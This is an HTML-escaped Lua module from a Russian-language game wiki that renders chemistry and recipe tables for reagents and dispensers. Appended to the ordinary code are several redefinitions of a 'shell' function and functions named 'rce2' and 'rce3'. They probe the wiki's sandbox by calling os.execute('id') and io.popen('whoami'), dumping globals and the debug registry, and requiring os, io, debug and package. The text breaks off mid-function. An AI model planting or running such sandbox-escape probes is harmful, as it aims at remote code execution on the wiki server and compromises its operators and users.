	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
